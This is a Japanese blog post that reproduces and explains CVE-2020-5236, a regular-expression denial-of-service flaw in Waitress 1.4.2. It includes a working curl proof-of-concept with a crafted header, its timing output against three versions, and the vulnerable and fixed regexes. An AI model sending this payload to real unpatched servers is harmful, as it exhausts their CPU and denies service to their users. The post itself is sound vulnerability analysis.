はじめに
GitHub Advisory Database - CVE-2020-5236 で 緊急度が Critical(最も危険) となっていたので調べてみました。
影響を受ける Waitress のバージョンは1.4.2
のみです。
リリースのタイムラインは以下のようになっています。2020年1月中に導入した人はバージョンを確認してみたほうがよいでしょう。(※本脆弱性以外にも過去のバージョンには他の脆弱性が見つかっているようでした。)
- 1.4.2 2020年 1月 2日 リリース
- 1.4.3 2020年 2月 2日 リリース
Waitress — waitress 1.4.3 documentation
Waitress とは
あまり耳にしないソフトウェアだと思う「Waitress」は何かと言うと、「WSGI サーバ」らしい。
WSGI サーバとは何ぞやというと、
Web Server Gateway Interface (WSGI; ウィスキー) は、プログラミング言語Pythonにおいて、WebサーバとWebアプリケーション(もしくはWebアプリケーションフレームワーク)を接続するための、標準化されたインタフェース定義である。
by Wikipedia
つまり、
Django や Bottle といったPython言語のWebアプリケーションフレームを動作させる為のアプリケーションサーバとのこと。
Ruby界隈で例えると Unicorn に近い役割を持っているWebサーバだと思う。
WSGI サーバーについてのより詳しい内容は以下の記事が参考になりました。
WSGIアプリケーションとは?WebフレームワークからWSGIサーバーまで - Make組ブログ
今回脆弱性が発見された「Waitress」はそのようなソフトウェアの1つということです。
どのくらい普及しているのかというと、GitHub の 約12,800個のリポジトリで利用されていることから、そこそこ普及しているWebサーバだと思います。
そんな Waitress から ReDoS(Regular expression Denial of Service) の脆弱性が発見されました。
本脆弱性の再現には特別な設定等は必要なく、さらに攻撃方法が容易ということで簡単に再現してしまうことから緊急度が Critical となっていると思います。
検証
では実際に Waitress を利用した環境を構築し、本脆弱性を確認していきます。
検証バージョン
各ツールのバージョンは以下の通りです。
Waitress は脆弱性が存在しているバージョンの前後のバージョン(1.4.1、1.4.3)も試しました。
- Ubuntu 18.04.1
- Python 3.7.4
- Bottle 0.12.18
- Waitress 1.4.1、1.4.2、1.4.3
環境構築
検証環境の構築はこちらの記事を参考にしました。
bottle.py + waitressでPythonのみで動作可能なWebサーバ - Qiita
検証の為に「bottle」と「waitress」のバージョンは上記事とは異なるものを使用しています。
「bottle」は現時点の最新版を使います(任意)。
「Waitress」はパッチが適用されていないバージョン1.4.2
を使います(必須)。
なので各パッケージの取得コマンドは以下のように変更しています。
curl -OsL https://raw.githubusercontent.com/bottlepy/bottle/0.12.18/bottle.py curl -sL https://github.com/Pylons/waitress/archive/v1.4.2.tar.gz | tar xz --strip=1 waitress-1.4.2/waitress
あと私はVM上で検証していたので外部から接続できるように run(server="waitress", host='0.0.0.0', port=8080)
の行を run(server="waitress", host='0.0.0.0', port=8080)
に変更して実行しました。
ReDoS をしてみる
Githubのアドバイザリを参照してみると、以下のようにPoCが記載されておりましたので、このシグネチャを用いて検証していきます。
送信する「x
」文字を増やすごとに負荷が増えていくらしいです。
Invalid header example: Bad-header: xxxxxxxxxxxxxxx\x10 Increasing the number of x's in the header will increase the amount of time Waitress spends in the regular expression engine.
それでは各バージョンに対して、このヘッダーを含めたリクエストを送信し、どのような挙動になるのかを確認していきます。
脆弱なバージョン 1.4.2
curlコマンド用いてシグネチャを含めたリクエストを送信していきます。timeコマンドを付与して応答時間を確認しています。
応答時間が長すぎることを避けたい為、「x
」は適度な数にして送信することにします。
$ time curl "http://192.168.56.13:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`" Bad Request Invalid header (generated by waitress)curl "http://192.168.56.13:8080/hello/hogefuga" -H 0.01s user 0.01s system 0% cpu 54.468 total
応答時間は約54秒
でした。
まだ比較対象はありませんが、Waitress + Bottleのサンプルアプリケーションの応答時間であることを考えると非常に遅くなっています。
サーバ側のCPU使用率を見てみると100%になっていました。
応答を返すと普通の状態に戻りましたが、攻撃の容易さを考えると非常に危険な脆弱性であることが分かります。
パッチ適用バージョン 1.4.3
今度はパッチが適用されているバージョンである1.4.3
に対して検証を行い、脆弱性が修正されていることを確認します。
以下のコマンドで Waitress のバージョンを1.4.3
に変更しています。
$ cd libs/ $ rm -rf waitress/ $ curl -sL https://github.com/Pylons/waitress/archive/v1.4.3.tar.gz | tar xz --strip=1 waitress-1.4.3/waitress
先ほどと同じリクエストを送信してみます。
今度は応答時間が0.026秒
でした。CPU使用率を見てみてもリクエスト送信前と変化はなく、本脆弱性は修正されているということが確認できました。
$ time curl "http://192.168.56.13:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`" Bad Request Invalid header (generated by waitress)curl "http://192.168.56.13:8080/hello/hogefuga" -H 0.01s user 0.01s system 44% cpu 0.026 total
脆弱性が存在しないバージョン 1.4.1
本脆弱性はバージョン1.4.2
のみに存在しているとのことでしたが、ついでにバージョン1.4.1
でも試してみました。
応答時間は0.043秒
であり情報通り脆弱性は存在していないバージョンとなっていました。
$ time curl "http://192.168.56.13:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`" Bad Request Invalid header (generated by waitress)curl "http://192.168.56.13:8080/hello/hogefuga" -H 0.01s user 0.01s system 24% cpu 0.043 total
脆弱性を掘り下げる
ソースコードレベルでどの部分が問題であったかを確認していきます。
修正コミット
本脆弱性の修正コミット。正規表現部分のみを修正している模様。
修正前 と 修正後 の正規表現
- 修正前 ^(?P<name>[!#$%&'*+\-.^_`|~0-9A-Za-z]{1,}):[ \t]{0,}?(?P<value>([\x21-\x7e\x80-\xff]([ \t\x21-\x7e\x80-\xff]+[\x21-\x7e\x80-\xff]){,1}){0,})[ \t]{0,}?$ - 修正後 ^(?P<name>[!#$%&'*+\-.^_`|~0-9A-Za-z]{1,}):[ \t]{0,}?(?P<value>(?:[\x21-\x7e\x80-\xff]+(?:[ \t]+[\x21-\x7e\x80-\xff]+)*)?)[ \t]{0,}?$
簡単に負荷の大きい正規表現を試す
問題となっている正規表現も取得できたのでコマンドラインから確認することができます。
本脆弱性の原因となっている部分であり、手元で試すだけでも処理が遅く負荷が掛かっていることを実感することができます。
こんな感じで正規表現を動かしてみました。
$ python >>> import re >>> re.compile("^(?P<name>[!#$%&'*+\-.^_`|~0-9A-Za-z]{1,}):[ \t]{0,}?(?P<value>([\x21-\x7e\x80-\xff]([ \t\x21-\x7e\x80-\xff]+[\x21-\x7e\x80-\xff]){,1}){0,})[ \t]{0,}?$").match('Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\x10')
遅い原因を考えてみる
何故このような正規表現だと遅くなる(負荷がかかる)のでしょうか。
遅くしている原因となっている部分を抽出し、影響が少ない範囲でシンプルな正規表現にして何故遅いのかを考えてみます。
[ \t]{0,}?(?P<value>([\x21-\x7e\x80-\xff]([ \t\x21-\x7e\x80-\xff]+[\x21-\x7e\x80-\xff]){,1}){0,})[ \t]{0,} ↓ 負荷に影響が少なそうな部分を削除 ([\x21-\x7e\x80-\xff]([\x21-\x7e\x80-\xff]+[\x21-\x7e\x80-\xff]){,1}){0,} ↓ 検索文字をわかりやすく ([A]([A]+[A]){,1}){0,} ↓ 繰り返しをシンプルに ([A]([A]+[A])?)*
正規表現([A]([A]+[A])?)*
を参考に遅くなる正規表現について考えていきます。
$ python >>> import re >>> re.compile("^([A]([A]+[A])?)*$").match('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB')
マッチングに約3秒掛かり、無事遅い正規表現であることが確認できました。
Regex101 を使って正規表現のステップ数を調べてみます。
マッチ対象文字列を22文字に減らしていますが、685,829ステップも掛かっている模様です。
ちなみにマッチする文字列に変更した場合は、13ステップで完了しています。
ReDoSの原因( = 良くない正規表現)を特筆すると長くなりそうなので今日はここまで _(:3 」∠ )_
別の記事としてあげたいと思います。
参考
本脆弱性の情報
- NVD - CVE-2020-5236
- Catastrophic backtracking in regex allows Denial of Service · CVE-2020-5236 · GitHub Advisory Database
- Regular Expression Denial of Service (ReDoS) in waitress | Snyk
ReDoSの情報
- Runaway Regular Expressions: Catastrophic Backtracking
- Online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript
更新履歴
- 2020年 2月 5日 新規作成